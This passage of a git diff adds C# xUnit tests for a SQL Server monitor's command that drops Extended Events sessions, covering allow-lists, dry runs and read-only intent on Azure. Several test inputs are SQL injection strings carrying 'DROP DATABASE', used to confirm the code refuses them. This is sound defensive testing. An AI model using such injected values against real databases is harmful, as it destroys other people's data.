+        target.Found.Add(new ExistingXeSession(OwnLongQuery, XeSessionScope.Server));
+        target.Found.Add(new ExistingXeSession(Legacy, XeSessionScope.Server));
+        target.Found.Add(new ExistingXeSession(SharedDeadlock, XeSessionScope.Server));
+        target.Others.Add(new ExistingXeSession(OtherLiteLongQuery, XeSessionScope.Server));
+        target.Others.Add(new ExistingXeSession(OtherDarlingDeadlock, XeSessionScope.Server));
+
+        var (exit, output, error) = await RunAsync(target, dryRun: false);
+
+        Assert.Equal(0, exit);
+        Assert.Equal(string.Empty, error);
+        Assert.Equal(
+            new[]
+            {
+                "DROP EVENT SESSION [PerformanceMonitor_Deadlock] ON SERVER;",
+                "DROP EVENT SESSION [PerformanceMonitor_LongQueryCompletions] ON SERVER;",
+                "DROP EVENT SESSION [PerformanceMonitor_Darling_1a2b3c4d_LongQueryCompletions] ON SERVER;",
+            },
+            target.Dropped.Select(d => d.Statement).ToArray());
+        Assert.Contains($"[DROPPED] {OwnLongQuery} (server scope)", output, StringComparison.Ordinal);
+
+        Assert.Contains(DarlingXeSessionCleanup.OtherInstallsHeading, output, StringComparison.Ordinal);
+        Assert.Contains($"{OtherLiteLongQuery} (server scope)", output, StringComparison.Ordinal);
+        Assert.Contains(GuardedDropText(OtherLiteLongQuery, "server_event_sessions", "ses", "SERVER"), output, StringComparison.Ordinal);
+        Assert.Contains(GuardedDropText(OtherDarlingDeadlock, "server_event_sessions", "ses", "SERVER"), output, StringComparison.Ordinal);
+        Assert.DoesNotContain("[DROPPED] " + OtherLiteLongQuery, output, StringComparison.Ordinal);
+        Assert.DoesNotContain("[DROPPED] " + OtherDarlingDeadlock, output, StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(output, "^WARNING: ", RegexOptions.Multiline));
+    }
+
+    [Fact]
+    public async Task TheVerb_DropsAndListsTheSameWay_OnAzureSqlDatabase()
+    {
+        var target = new FakeTarget();
+        target.Found.Add(new ExistingXeSession(OwnLongQuery, XeSessionScope.Database, "alpha"));
+        target.Found.Add(new ExistingXeSession(OwnDeadlock, XeSessionScope.Database, "alpha"));
+        target.Found.Add(new ExistingXeSession(SharedBlocked, XeSessionScope.Database, "beta"));
+        target.Others.Add(new ExistingXeSession(OtherLiteLongQuery, XeSessionScope.Database, "alpha"));
+        target.Others.Add(new ExistingXeSession(OtherDarlingBlocked, XeSessionScope.Database, "beta"));
+
+        var (exit, output, error) = await RunAsync(target, dryRun: false);
+
+        Assert.Equal(0, exit);
+        Assert.Equal(string.Empty, error);
+        Assert.Equal(
+            new[]
+            {
+                "DROP EVENT SESSION [PerformanceMonitor_Darling_1a2b3c4d_LongQueryCompletions] ON DATABASE;",
+                "DROP EVENT SESSION [PerformanceMonitor_Darling_1a2b3c4d_Deadlock] ON DATABASE;",
+                "DROP EVENT SESSION [PerformanceMonitor_BlockedProcess] ON DATABASE;",
+            },
+            target.Dropped.Select(d => d.Statement).ToArray());
+        Assert.Contains($"[DROPPED] {OwnDeadlock} (database scope, in database alpha)", output, StringComparison.Ordinal);
+
+        Assert.Contains(DarlingXeSessionCleanup.OtherInstallsHeading, output, StringComparison.Ordinal);
+        Assert.Contains($"{OtherLiteLongQuery} (database scope, in database alpha)", output, StringComparison.Ordinal);
+        Assert.Contains(GuardedDropText(OtherLiteLongQuery, "database_event_sessions", "des", "DATABASE"), output, StringComparison.Ordinal);
+        Assert.Contains(GuardedDropText(OtherDarlingBlocked, "database_event_sessions", "des", "DATABASE"), output, StringComparison.Ordinal);
+        Assert.DoesNotContain("[DROPPED] " + OtherLiteLongQuery, output, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ADryRun_ListsThisInstallsDropsAndTheOthersSessions_AndDropsNothing()
+    {
+        var target = new FakeTarget();
+        target.Found.Add(new ExistingXeSession(OwnLongQuery, XeSessionScope.Server));
+        target.Others.Add(new ExistingXeSession(OtherLiteLongQuery, XeSessionScope.Server));
+
+        var (exit, output, _) = await RunAsync(target, dryRun: true);
+
+        Assert.Equal(0, exit);
+        Assert.Empty(target.Dropped);
+        Assert.Contains($"[WOULD DROP] DROP EVENT SESSION [{OwnLongQuery}] ON SERVER;", output, StringComparison.Ordinal);
+        Assert.Contains(DarlingXeSessionCleanup.OtherInstallsHeading, output, StringComparison.Ordinal);
+        Assert.Contains(GuardedDropText(OtherLiteLongQuery, "server_event_sessions", "ses", "SERVER"), output, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task WithNothingOfAnotherInstalls_TheVerbPrintsNoListing()
+    {
+        var target = new FakeTarget();
+        target.Found.Add(new ExistingXeSession(OwnLongQuery, XeSessionScope.Server));
+
+        var (_, output, _) = await RunAsync(target, dryRun: false);
+
+        Assert.DoesNotContain(DarlingXeSessionCleanup.OtherInstallsHeading, output, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task WithNoId_TheVerbSaysSo_AndHandlesNoInstallName()
+    {
+        var target = new FakeTarget();
+        target.Found.Add(new ExistingXeSession(OwnLongQuery, XeSessionScope.Server));
+        target.Found.Add(new ExistingXeSession(SharedDeadlock, XeSessionScope.Server));
+        target.Others.Add(new ExistingXeSession(OtherLiteLongQuery, XeSessionScope.Server));
+
+        var (exit, output, _) = await RunAsync(target, dryRun: false, installId: null);
+
+        Assert.Equal(0, exit);
+        Assert.Contains(DarlingXeSessionCleanup.NoInstallIdNote, output, StringComparison.Ordinal);
+        Assert.Equal(new[] { "DROP EVENT SESSION [PerformanceMonitor_Deadlock] ON SERVER;" }, target.Dropped.Select(d => d.Statement).ToArray());
+        Assert.DoesNotContain(DarlingXeSessionCleanup.OtherInstallsHeading, output, StringComparison.Ordinal);
+        Assert.DoesNotContain(OtherLiteLongQuery, output, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TheNoteAfterADrop_NamesTheCaptureOfAnInstallsSessionToo_OncePerCapture()
+    {
+        var target = new FakeTarget();
+        target.Found.Add(new ExistingXeSession(OwnLongQuery, XeSessionScope.Database, "alpha"));
+        target.Found.Add(new ExistingXeSession(Legacy, XeSessionScope.Database, "alpha"));
+        target.Found.Add(new ExistingXeSession(OwnDeadlock, XeSessionScope.Database, "alpha"));
+
+        var (_, output, _) = await RunAsync(target, dryRun: false);
+
+        Assert.Contains(
+            "NOTE: capture of deadlocks and long query completions on that server stops until this service reconnects to it, so remove the server next.",
+            output,
+            StringComparison.Ordinal);
+    }
+
+    // ---- the CLI hands the target this install's id ----------------------------------------------------------------------
+
+    private static string WriteConfig(DirectoryInfo root)
+    {
+        var listener = new TcpListener(IPAddress.Loopback, 0);
+        listener.Start();
+        var port = ((IPEndPoint)listener.LocalEndpoint).Port;
+        listener.Stop();
+
+        var path = Path.Combine(root.FullName, "darling.json");
+        File.WriteAllText(
+            path,
+            "{ \"postgres\": { \"connectionString\": "
+            + JsonSerializer.Serialize($"Host=127.0.0.1;Port={port};Username=darling;Password=x;Database=darlingtest;Timeout=2")
+            + " }, \"servers\": [ { \"name\": \"SQL2022\", \"host\": \"SQL2022\" } ] }");
+        return path;
+    }
+
+    private static async Task<(int Exit, string Output, string Error, XeCleanupStoreFacts? Seen)> RunVerbAsync(
+        FakeTarget target, XeCleanupStoreFacts facts, params string[] extra)
+    {
+        var root = Directory.CreateTempSubdirectory("drop-xe-install-");
+        try
+        {
+            var output = new StringWriter();
+            var error = new StringWriter();
+            XeCleanupStoreFacts? seen = null;
+            var exit = await DarlingCliCommands.DropXeSessionsAsync(
+                ["SQL2022", "--config", WriteConfig(root), .. extra],
+                (_, _, handed, _) =>
+                {
+                    seen = handed;
+                    return Task.FromResult<IXeSessionCleanupTarget>(target);
+                },
+                output,
+                error,
+                CancellationToken.None,
+                readStoreFacts: (_, _) => Task.FromResult(facts));
+            return (exit, output.ToString(), error.ToString(), seen);
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public async Task TheVerb_ReadsTheInstallIdFromTheStore_AndHandsItToTheTarget_AndDropsWithIt()
+    {
+        var target = new FakeTarget();
+        target.Found.Add(new ExistingXeSession(OwnLongQuery, XeSessionScope.Server));
+        target.Others.Add(new ExistingXeSession(OtherLiteLongQuery, XeSessionScope.Server));
+
+        var (exit, output, _, seen) = await RunVerbAsync(target, new XeCleanupStoreFacts(Id));
+
+        Assert.Equal(0, exit);
+        Assert.Equal(Id, seen?.InstallId);
+        Assert.Equal(new[] { $"DROP EVENT SESSION [{OwnLongQuery}] ON SERVER;" }, target.Dropped.Select(d => d.Statement).ToArray());
+        Assert.Contains(DarlingXeSessionCleanup.OtherInstallsHeading, output, StringComparison.Ordinal);
+        Assert.DoesNotContain(DarlingXeSessionCleanup.NoInstallIdNote, output, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TheVerb_WhenTheStoreHasNoId_SaysSo_AndTheTargetGetsNone()
+    {
+        var target = new FakeTarget();
+        target.Found.Add(new ExistingXeSession(OwnLongQuery, XeSessionScope.Server));
+
+        var (exit, output, _, seen) = await RunVerbAsync(target, XeCleanupStoreFacts.NoId);
+
+        Assert.Equal(0, exit);
+        Assert.Null(seen?.InstallId);
+        Assert.Empty(target.Dropped);
+        Assert.Contains(DarlingXeSessionCleanup.NoInstallIdNote, output, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/DropXeSessionsReadOnlyIntentTests.cs b/Darling/Darling.Tests/DropXeSessionsReadOnlyIntentTests.cs
new file mode 100644
index 0000000000..4c85a0f4ff
--- /dev/null
+++ b/Darling/Darling.Tests/DropXeSessionsReadOnlyIntentTests.cs
@@ -0,0 +1,292 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4961: on Azure SQL Database a session cannot be dropped over a read-only connection. For a registration with read-only
+/// intent, <c>--drop-xe-sessions</c> stops each session over the registration's own connection when it runs there, then drops
+/// it over a connection with the intent forced off. Every other drop stays one statement over the registration's own
+/// connection. The target opens its connections through a test seam here, so the statements and the connection each one runs
+/// over pin without a SQL Server.
+/// </summary>
+public sealed class DropXeSessionsReadOnlyIntentTests
+{
+    private const string Host = "dropxe-ro.database.windows.net";
+    private const string InstallId = "1a2b3c4d";
+    private const string Database = "beta";
+
+    /// <summary>One thing the target did: the connection it did it over, what it did, and the statement or the name.</summary>
+    private sealed record Call(string ConnectionString, string Kind, string Text);
+
+    /// <summary>A stand-in for one open connection: it records what it is asked and answers whether the session runs there.</summary>
+    private sealed class FakeDatabase : IAlwaysOnXeDatabase
+    {
+        private readonly string _connectionString;
+        private readonly List<Call> _calls;
+        private readonly bool _running;
+
+        public FakeDatabase(string connectionString, List<Call> calls, bool running)
+        {
+            _connectionString = connectionString;
+            _calls = calls;
+            _running = running;
+        }
+
+        public Task<AlwaysOnXeCatalog> ReadCatalogAsync(AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken) =>
+            throw new NotSupportedException("A drop reads no catalog.");
+
+        public Task<bool> IsStartedAsync(string sessionName, CancellationToken cancellationToken)
+        {
+            _calls.Add(new Call(_connectionString, "Runs", sessionName));
+            return Task.FromResult(_running);
+        }
+
+        public Task ExecuteAsync(string statement, CancellationToken cancellationToken)
+        {
+            _calls.Add(new Call(_connectionString, "Execute", statement));
+            return Task.CompletedTask;
+        }
+
+        public bool IsAlreadyPresent(Exception exception) => false;
+    }
+
+    private static string AzureConnectionString(bool readOnlyIntent) =>
+        $"Server=tcp:{Host},1433;Initial Catalog=master;Encrypt=True" + (readOnlyIntent ? ";ApplicationIntent=ReadOnly" : string.Empty);
+
+    /// <summary>A product target (no names of its own) for a registration, with every connection it opens recorded.</summary>
+    private static (SqlServerXeSessionCleanupTarget Target, List<Call> Calls) Rig(string connectionString, bool azure, bool running)
+    {
+        var calls = new List<Call>();
+        var target = new SqlServerXeSessionCleanupTarget(
+            new ServerRuntime
+            {
+                Config = new MonitoredServer { Name = "dropxe", Host = Host },
+                ConnectionString = connectionString,
+                Target = new CollectorTargetInfo { IsAzureSqlDb = azure },
+                StorageName = Host,
+                ServerId = 1,
+            },
+            sessionNames: null,
+            registry: null,
+            facts: new XeCleanupStoreFacts(InstallId))
+        {
+            OpenDatabaseForTests = (opened, _) => Task.FromResult<IAlwaysOnXeDatabase>(new FakeDatabase(opened, calls, running)),
+        };
+        return (target, calls);
+    }
+
+    private static ApplicationIntent IntentOf(string connectionString) =>
+        new SqlConnectionStringBuilder(connectionString).ApplicationIntent;
+
+    private static string DatabaseOf(string connectionString) =>
+        new SqlConnectionStringBuilder(connectionString).InitialCatalog;
+
+    private static XeSessionDrop DatabaseDrop(string name) =>
+        new(new ExistingXeSession(name, XeSessionScope.Database, Database), InstallId);
+
+    /// <summary>Every name the verb may drop for this install, so each one is a name a stop must reach too.</summary>
+    public static TheoryData<string> AllowedNames()
+    {
+        var names = new TheoryData<string>();
+        foreach (var name in DarlingXeSessionCleanup.NamesToDrop(InstallId))
+        {
+            names.Add(name);
+        }
+
+        return names;
+    }
+
+    // ---- the drop itself ------------------------------------------------------------------------------------------------
+
+    [Theory]
+    [MemberData(nameof(AllowedNames))]
+    public async Task AReadOnlyIntentDrop_OfASessionThatRunsOnTheReplica_StopsOverTheOwnConnection_ThenDropsOverOneWithoutTheIntent(string name)
+    {
+        var (target, calls) = Rig(AzureConnectionString(readOnlyIntent: true), azure: true, running: true);
+        var drop = DatabaseDrop(name);
+
+        await target.DropAsync(drop, CancellationToken.None);
+
+        Assert.Equal(new[] { "Runs", "Execute", "Execute" }, calls.Select(c => c.Kind));
+        Assert.Equal(name, calls[0].Text);
+        Assert.Equal(DarlingXeSessionCleanup.StopStatement(name, InstallId), calls[1].Text);
+        Assert.Equal(drop.Statement, calls[2].Text);
+
+        /* The check and the stop go over the registration's own read-only connection, to the session's database. */
+        Assert.All(calls.Take(2), c =>
+        {
+            Assert.Equal(ApplicationIntent.ReadOnly, IntentOf(c.ConnectionString));
+            Assert.Equal(Database, DatabaseOf(c.ConnectionString));
+        });
+
+        /* The drop goes over the same database with the intent forced off. */
+        Assert.Equal(ApplicationIntent.ReadWrite, IntentOf(calls[2].ConnectionString));
+        Assert.Equal(Database, DatabaseOf(calls[2].ConnectionString));
+    }
+
+    [Theory]
+    [MemberData(nameof(AllowedNames))]
+    public async Task AReadOnlyIntentDrop_OfASessionThatDoesNotRunOnTheReplica_SendsOnlyTheDropOverOneWithoutTheIntent(string name)
+    {
+        var (target, calls) = Rig(AzureConnectionString(readOnlyIntent: true), azure: true, running: false);
+        var drop = DatabaseDrop(name);
+
+        await target.DropAsync(drop, CancellationToken.None);
+
+        Assert.Equal(new[] { "Runs", "Execute" }, calls.Select(c => c.Kind));
+        Assert.Equal(drop.Statement, calls[1].Text);
+        Assert.DoesNotContain(calls, c => c.Text.Contains("STATE = STOP", StringComparison.Ordinal));
+        Assert.Equal(ApplicationIntent.ReadWrite, IntentOf(calls[1].ConnectionString));
+        Assert.Equal(Database, DatabaseOf(calls[1].ConnectionString));
+    }
+
+    [Theory]
+    [MemberData(nameof(AllowedNames))]
+    public async Task ADropWithoutReadOnlyIntent_IsOneDropOverTheRegistrationsOwnConnection(string name)
+    {
+        var (target, calls) = Rig(AzureConnectionString(readOnlyIntent: false), azure: true, running: true);
+        var drop = DatabaseDrop(name);
+
+        await target.DropAsync(drop, CancellationToken.None);
+
+        var only = Assert.Single(calls);
+        Assert.Equal("Execute", only.Kind);
+        Assert.Equal(drop.Statement, only.Text);
+        Assert.Equal(ApplicationIntent.ReadWrite, IntentOf(only.ConnectionString));
+        Assert.Equal(Database, DatabaseOf(only.ConnectionString));
+    }
+
+    /// <summary>A server-scoped target (SQL Server, Managed Instance, RDS) never stops anything first: its drop is one statement
+    /// over the registration's own connection, intent and all.</summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task AnOnPremisesDrop_IsOneDropOverTheRegistrationsOwnConnection_WhateverItsIntent(bool readOnlyIntent)
+    {
+        var own = "Server=sql01,1433;Encrypt=True" + (readOnlyIntent ? ";ApplicationIntent=ReadOnly" : string.Empty);
+        var (target, calls) = Rig(own, azure: false, running: true);
+        var drop = new XeSessionDrop(new ExistingXeSession(DeadlocksCollector.XeSessionName, XeSessionScope.Server), InstallId);
+
+        await target.DropAsync(drop, CancellationToken.None);
+
+        var only = Assert.Single(calls);
+        Assert.Equal("Execute", only.Kind);
+        Assert.Equal(drop.Statement, only.Text);
+        Assert.Equal(readOnlyIntent ? ApplicationIntent.ReadOnly : ApplicationIntent.ReadWrite, IntentOf(only.ConnectionString));
+    }
+
+    /// <summary>A name the target may not drop is refused for the stop as for the drop, before any connection opens.</summary>
+    [Theory]
+    [InlineData("system_health")]
+    [InlineData("performancemonitor_deadlock")]
+    [InlineData("PerformanceMonitor_Deadlock]; DROP DATABASE x; --")]
+    [InlineData("PerformanceMonitor_Darling_ffffffff_LongQueryCompletions")]
+    public async Task AReadOnlyIntentDrop_OfANameTheTargetMayNotDrop_IsRefusedBeforeAnyConnectionOpens(string name)
+    {
+        var (target, calls) = Rig(AzureConnectionString(readOnlyIntent: true), azure: true, running: true);
+
+        await Assert.ThrowsAsync<ArgumentException>(() => target.DropAsync(DatabaseDrop(name), CancellationToken.None));
+
+        Assert.Empty(calls);
+    }
+
+    // ---- the stop's text and its allow-list -------------------------------------------------------------------------
+
+    /// <summary>The stop reaches exactly the names the drop does: one list decides both, spelled exactly, for this install's id.
+    /// A name outside it, another install's, a case variant, and an own name with no install id are refused by both.</summary>
+    [Fact]
+    public void TheStop_AcceptsExactlyTheNamesTheDropAccepts()
+    {
+        var allowed = DarlingXeSessionCleanup.NamesToDrop(InstallId);
+        var candidates = allowed
+            .Concat(allowed.Select(n => n.ToUpperInvariant()))
+            .Concat(allowed.Select(n => n.ToLowerInvariant()))
+            .Concat(new[]
+            {
+                "system_health",
+                string.Empty,
+                "PerformanceMonitor_Darling_ffffffff_LongQueryCompletions",
+                "PerformanceMonitor_Darling_ffffffff_Deadlock",
+                "PerformanceMonitor_Lite_1a2b3c4d_BlockedProcess",
+                "PerformanceMonitor_Deadlock]; DROP DATABASE x; --",
+                "master'; DROP DATABASE x;--",
+            })
+            .Distinct(StringComparer.Ordinal)
+            .ToList();
+
+        foreach (var installId in new string?[] { InstallId, null, "ffffffff" })
+        {
+            foreach (var name in candidates)
+            {
+                var dropAccepts = Accepts(() => DarlingXeSessionCleanup.DropStatement(name, XeSessionScope.Database, installId));
+                var stopAccepts = Accepts(() => DarlingXeSessionCleanup.StopStatement(name, installId));
+                Assert.True(dropAccepts == stopAccepts, $"'{name}' for install '{installId}': drop accepts {dropAccepts}, stop accepts {stopAccepts}");
+                Assert.Equal(dropAccepts, DarlingXeSessionCleanup.NamesToDrop(installId).Contains(name, StringComparer.Ordinal));
+            }
+        }
+    }
+
+    private static bool Accepts(Func<string> build)
+    {
+        try
+        {
+            build();
+            return true;
+        }
+        catch (ArgumentException)
+        {
+            return false;
+        }
+    }
+
+    /// <summary>A long-query name, the install's own or the old shared one, is stopped by the collector's builder, which guards
+    /// on the sessions that run in the database. The own deadlock and blocked-process names use the always-on builder.</summary>
+    [Fact]
+    public void TheStop_OfANameABuilderTakes_IsThatBuildersText()
+    {
+        var own = DarlingXeSessionCleanup.InstallSessionNames(InstallId);
+        var ownLongQuery = own.Single(LongQueryCompletionsCollector.IsInstallSessionName);
+
+        Assert.Equal(LongQueryCompletionsCollector.BuildStopSessionSql(ownLongQuery), DarlingXeSessionCleanup.StopStatement(ownLongQuery, InstallId));
+        Assert.Equal(
+            LongQueryCompletionsCollector.BuildStopSessionSql(LongQueryCompletionsCollector.LegacyXeSessionName),
+            DarlingXeSessionCleanup.StopStatement(LongQueryCompletionsCollector.LegacyXeSessionName, InstallId));
+        foreach (var kind in new[] { AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeSessionKind.BlockedProcess })
+        {
+            var ownName = own.Single(n => AlwaysOnXeSessions.IsOwnName(n, kind));
+            Assert.Equal(AlwaysOnXeSessions.BuildAzureStopSql(kind, ownName), DarlingXeSessionCleanup.StopStatement(ownName, InstallId));
+        }
+    }
+
+    /// <summary>The shared deadlock and blocked-process names are ones no builder takes, so the verb builds their stop the way the
+    /// long-query one is built: a guard on <c>sys.dm_xe_database_sessions</c>, which lists the sessions that run on the replica
+    /// the connection reaches, around the one STOP.</summary>
+    [Theory]
+    [InlineData("PerformanceMonitor_Deadlock")]
+    [InlineData("PerformanceMonitor_BlockedProcess")]
+    public void TheStop_OfASharedName_IsGuardedOnTheSessionsThatRunInTheDatabase(string name)
+    {
+        var stop = DarlingXeSessionCleanup.StopStatement(name, InstallId);
+
+        Assert.Equal(
+            "\nIF EXISTS\n(\n    SELECT\n        1/0\n    FROM sys.dm_xe_database_sessions\n"
+            + $"    WHERE name = N'{name}'\n)\nBEGIN\n    ALTER EVENT SESSION [{name}] ON DATABASE STATE = STOP;\nEND;",
+            stop.Replace("\r\n", "\n", StringComparison.Ordinal));
+    }
+}
diff --git a/Darling/Darling.Tests/DropXeSessionsVerbTests.cs b/Darling/Darling.Tests/DropXeSessionsVerbTests.cs
index 1ae111b475..634735122d 100644
--- a/Darling/Darling.Tests/DropXeSessionsVerbTests.cs
+++ b/Darling/Darling.Tests/DropXeSessionsVerbTests.cs
@@ -24,8 +24,8 @@
 namespace Darling.Tests;
 
 /// <summary>
-/// #4732: removing a server leaves its Extended Events sessions on it, and <c>--drop-xe-sessions</c> is the operator's
-/// explicit way to remove them. The pure halves (the grammar, the statements, the plan) pin as text; the executor runs over a
+/// #4732, #4961: removing a server drops this install's own Extended Events sessions on it, and <c>--drop-xe-sessions</c> is
+/// the operator's explicit way to drop the shared ones and what a removal could not drop. The pure halves (the grammar, the statements, the plan) pin as text; the executor runs over a
 /// fake target so the find-print-drop path needs no SQL Server.
 /// </summary>
 public sealed class DropXeSessionsVerbTests
@@ -38,6 +38,444 @@ public sealed class DropXeSessionsVerbTests
     /// a session (#4732).</summary>
     private const string CaptureStopsMarker = "stops until this service reconnects to it, so remove the server next.";
 
+    // ---- Azure SQL Database: which databases the verb searches for which session -------------------------------------------
+
+    private const string AzureHost = "dropxe.database.windows.net";
+
+    private static SqlServerXeSessionCleanupTarget AzureTarget(MonitoredServer self, params MonitoredServer[] registry) =>
+        AzureTarget(facts: null, self, registry);
+
+    private static SqlServerXeSessionCleanupTarget AzureTarget(XeCleanupStoreFacts? facts, MonitoredServer self, params MonitoredServer[] registry) =>
+        new(
+            new ServerRuntime
+            {
+                Config = self,
+                ConnectionString = $"Server=tcp:{AzureHost},1433;Initial Catalog=master;Encrypt=True",
+                Target = new CollectorTargetInfo { IsAzureSqlDb = true },
+                StorageName = AzureHost,
+                ServerId = self.ServerId,
+            },
+            sessionNames: null,
+            registry,
+            facts);
+
+    private const int SelfId = 11;
+    private const int SecondId = 12;
+    private const string StoreInstallId = "1a2b3c4d";
+    private const string OwnLongQuery = "PerformanceMonitor_Darling_1a2b3c4d_LongQueryCompletions";
+
+    /// <summary>One row of the store's collector schedules for the long-query collector: a registration's own override, or the
+    /// install's default when <paramref name="serverId"/> is null.</summary>
+    private static ScheduleOverride LongQueryRow(int? serverId, bool enabled) =>
+        new(serverId, "long_query_completions", FrequencyMinutes: null, RetentionDays: null, enabled);
+
+    private static XeCleanupStoreFacts FactsWith(IReadOnlyList<ScheduleOverride>? rows, IReadOnlyDictionary<int, string>? names = null) =>
+        new(StoreInstallId, rows, names);
+
+    /// <summary>Two registrations of one logical server: this one, which excludes gamma, and a second with read-only intent,
+    /// which excludes delta.</summary>
+    private static (MonitoredServer Self, MonitoredServer Second) TwoRegistrations() =>
+        (new MonitoredServer { Name = "dropxe", Host = AzureHost, ExcludedDatabases = ["gamma"], StoredServerId = SelfId },
+         new MonitoredServer { Name = "dropxe-ro", Host = AzureHost, ReadOnlyIntent = true, ExcludedDatabases = ["delta"], StoredServerId = SecondId });
+
+    private static SqlServerXeSessionCleanupTarget.AzureSearchPlan PlanWith(XeCleanupStoreFacts? facts)
+    {
+        var (self, second) = TwoRegistrations();
+        return AzureTarget(facts, self, self, second).PlanAzureSearch(
+            monitored: ["master", "alpha", "delta"],
+            every: ["master", "alpha", "gamma", "delta"]);
+    }
+
+    /// <summary>
+    /// The long-query session is searched in the databases the registration excludes, because a session created before the
+    /// database was excluded stays there with nothing that drops it. It is not searched in a database monitored as its own
+    /// server, which that server's registration owns, and never in master. The other sessions keep the monitored list.
+    /// </summary>
+    [Fact]
+    public void TheLongQuerySearch_VisitsAnExcludedDatabase_AndSkipsOneMonitoredAsItsOwnServer()
+    {
+        var self = new MonitoredServer { Name = "dropxe", Host = AzureHost, ExcludedDatabases = ["gamma"] };
+        var alphaOwnServer = new MonitoredServer { Name = "dropxe-alpha", Host = AzureHost, Database = "alpha" };
+        var target = AzureTarget(self, self, alphaOwnServer);
+
+        var plan = target.PlanAzureSearch(
+            monitored: ["master", "alpha", "beta"],
+            every: ["master", "alpha", "beta", "gamma"]);
+
+        Assert.Equal(new[] { "beta", "gamma" }, plan.LongQueryDatabases);
+        Assert.Equal(new[] { "alpha", "beta" }, plan.AlwaysOnDatabases);
+        Assert.True(plan.Reports("gamma", LongQuery));
+        Assert.False(plan.Reports("gamma", Deadlock));
+        Assert.False(plan.Reports("alpha", LongQuery));
+        Assert.True(plan.Reports("alpha", Blocked));
+        Assert.False(plan.Reports("master", LongQuery));
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, plan.Visited);
+    }
+
+    /// <summary>
+    /// #4961: another registration of the logical server keeps the session when its EFFECTIVE long-query setting is on, its own
+    /// override or else the install's default: the verb leaves each database that registration would create the session in.
+    /// </summary>
+    [Fact]
+    public void TheLongQuerySearch_SkipsADatabaseAnotherRegistrationOfTheServerKeeps()
+    {
+        var plan = PlanWith(FactsWith([LongQueryRow(SecondId, enabled: true)]));
+
+        Assert.Equal(new[] { "delta" }, plan.LongQueryDatabases);
+    }
+
+    /// <summary>The install's default can turn a registration's trace on: it keeps the session with no row of its own.</summary>
+    [Fact]
+    public void TheLongQuerySearch_SkipsADatabaseWhenTheInstallsDefaultTurnsTheOtherRegistrationOn()
+    {
+        var plan = PlanWith(FactsWith([LongQueryRow(serverId: null, enabled: true)]));
+
+        Assert.Equal(new[] { "delta" }, plan.LongQueryDatabases);
+    }
+
+    /// <summary>
+    /// #4961: a registration whose long-query trace is off keeps nothing, so the verb drops the session in every database it
+    /// finds it in, the ones that registration would have created it in too. Its own override beats the install's default,
+    /// and with no row at all the collector's default, which is off, applies.
+    /// </summary>
+    [Fact]
+    public void TheLongQuerySearch_DropsInADatabaseTheOtherRegistrationLeavesOff()
+    {
+        var everyDatabase = new[] { "alpha", "gamma", "delta" };
+
+        /* Its own override is off. */
+        Assert.Equal(everyDatabase, PlanWith(FactsWith([LongQueryRow(SecondId, enabled: false)])).LongQueryDatabases);
+
+        /* Its own override beats an install's default that is on. */
+        Assert.Equal(
+            everyDatabase,
+            PlanWith(FactsWith([LongQueryRow(serverId: null, enabled: true), LongQueryRow(SecondId, enabled: false)])).LongQueryDatabases);
+
+        /* No row at all: the collector's own default applies, which is off. */
+        Assert.Equal(everyDatabase, PlanWith(FactsWith([])).LongQueryDatabases);
+    }
+
+    /// <summary>A store whose schedule rows could not be read gives the verb no setting to go by, so it keeps counting every
+    /// other registration of the logical server as keeping the session, as it did before it read them.</summary>
+    [Fact]
+    public void TheLongQuerySearch_WhenTheScheduleRowsCouldNotBeRead_CountsEveryOtherRegistrationAsKeeping()
+    {
+        Assert.Equal(new[] { "delta" }, PlanWith(FactsWith(rows: null)).LongQueryDatabases);
+        Assert.Equal(new[] { "delta" }, PlanWith(facts: null).LongQueryDatabases);
+    }
+
+    [Fact]
+    public void ATargetWithItsOwnNames_SearchesNoDatabaseForTheLongQuerySession()
+    {
+        var self = new MonitoredServer { Name = "dropxe", Host = AzureHost, ExcludedDatabases = ["gamma"] };
+        var runtime = new ServerRuntime
+        {
+            Config = self,
+            ConnectionString = $"Server=tcp:{AzureHost},1433;Initial Catalog=master;Encrypt=True",
+            Target = new CollectorTargetInfo { IsAzureSqlDb = true },
+            StorageName = AzureHost,
+            ServerId = self.ServerId,
+        };
+        var target = new SqlServerXeSessionCleanupTarget(runtime, new[] { "dropxe_test_only" }, [self]);
+
+        var plan = target.PlanAzureSearch(["master", "alpha"], ["master", "alpha", "gamma"]);
+
+        Assert.Empty(plan.LongQueryDatabases);
+        Assert.Equal(new[] { "alpha" }, plan.AlwaysOnDatabases);
+    }
+
+    // ---- on-premises: this install's long-query session when another registration of this install keeps it (#4961) ---------------
+
+    private static SqlServerXeSessionCleanupTarget OnPremisesTarget(XeCleanupStoreFacts facts, MonitoredServer self, params MonitoredServer[] registry) =>
+        new(
+            new ServerRuntime
+            {
+                Config = self,
+                ConnectionString = "Server=sql01;Encrypt=True",
+                Target = new CollectorTargetInfo(),
+                StorageName = "sql01",
+                ServerId = self.ServerId,
+            },
+            sessionNames: null,
+            registry,
+            facts);
+
+    private static (MonitoredServer Self, MonitoredServer Second) TwoOnPremisesRegistrations() =>
+        (new MonitoredServer { Name = "sql01-a", Host = "sql01-a", StoredServerId = SelfId },
+         new MonitoredServer { Name = "sql01-b", Host = "sql01-b", StoredServerId = SecondId });
+
+    private static Dictionary<int, string> InstanceNames(string? own, string? second)
+    {
+        var names = new Dictionary<int, string>();
+        if (own is not null)
+        {
+            names[SelfId] = own;
+        }
+
